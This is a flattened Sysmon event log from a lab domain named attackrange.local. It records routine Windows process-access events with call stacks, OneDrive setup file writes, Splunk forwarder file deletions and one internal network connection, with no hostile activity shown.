14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3fdee|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f400|C:\Windows\System32\modernexecserver.dll+47a8c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000042964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+478ab|C:\Windows\System32\modernexecserver.dll+476e0|C:\Windows\System32\modernexecserver.dll+4763b|C:\Windows\System32\modernexecserver.dll+3985d|C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll+1781|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000042963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F46-613B-0B09-00000000F001}5508C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F46-613B-0B09-00000000F001}5508C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.618{7BD73061-6F46-613B-0B09-00000000F001}5508C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000013829Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:22.507{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50116-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013828Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:23.349{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62F4B6C02FA7C29E429297F5D0D74F49,SHA256=406E0DC696B30F5054BD21C170A446E7DA98E011A863C2FECB8C2F2229B44AC0,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:24.930{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDrive.exe2021-09-10 14:44:24.930 23542300x800000000000000043005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.930{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9139678652AB033F24D33B6250109161,SHA256=6341FDE1FC8831E2C16548998632E9E638FC751D047AC1146FF4B82766CB9486,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.555{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.555{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.555{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 11241100x800000000000000043001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:24.431{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msvcp140.dll2021-09-10 14:44:24.431 10341000x800000000000000043000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.431{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000042999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:24.431{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 11241100x800000000000000042998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:24.289{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Svg.dll2021-09-10 14:44:24.289 11241100x800000000000000042997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:24.180{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msipc.dll2021-09-10 14:44:24.180 11241100x800000000000000042996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:24.101{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncViews.dll2021-09-10 14:44:24.101 23542300x800000000000000042995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.851{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F1002ADBA1C36182F0A2AD7BD58174E5,SHA256=5EE55C99FD6D46CD2C74E16C1BCBB640C53106AB222B56660F12ABA77478A4F3,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.851{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll2021-09-10 14:44:23.851 11241100x800000000000000042993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.836{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogUploader.dll2021-09-10 14:44:23.820 23542300x800000000000000013830Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:24.364{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5637FD65B978B248209310AD82910878,SHA256=2D135CC4BB6944C2022A9EDDD413870E7D23E27F52673EAC4B911E2D14F33986,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.914{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b13c.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.805{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFDFBF9F0943E07D17.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000013831Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:25.364{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D810E93DFCEFA4453E473BF0A85168E0,SHA256=3F5EB9981582FDB8B63D483CD68FB086AFB6954C520A531D1186783D7ABF1549,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.742{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFF7C7B1E96E4B38AE.TMPMD5=8C2D23AAC76DB61AE32E28914D19738C,SHA256=BB5E0BDD51781D89DF35494F44B004D1341FD43FFBC7A760F87DC12F4CCBE078,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1953DE82106290376633AF2A51E0EBEE,SHA256=13DB8CC460D17D25B31AF60B3E19DF3C732C3F8B2802D1A548ED3B66C2534C61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=BD115F69AA93783EC129C2E1B5FF923C,SHA256=40D0C2663F86778365723E0444D93D608C18FC6197784F72EF6FFBEAC41C7D66,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED90B8761C7611892405C411732F8C1C,SHA256=98D148463F187D9E6CA069696CFF0F7427079B2A91F04B6488DF2A556BA01A57,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:25.258{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Widgets.dll2021-09-10 14:44:25.242 10341000x800000000000000043012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.086{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.086{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 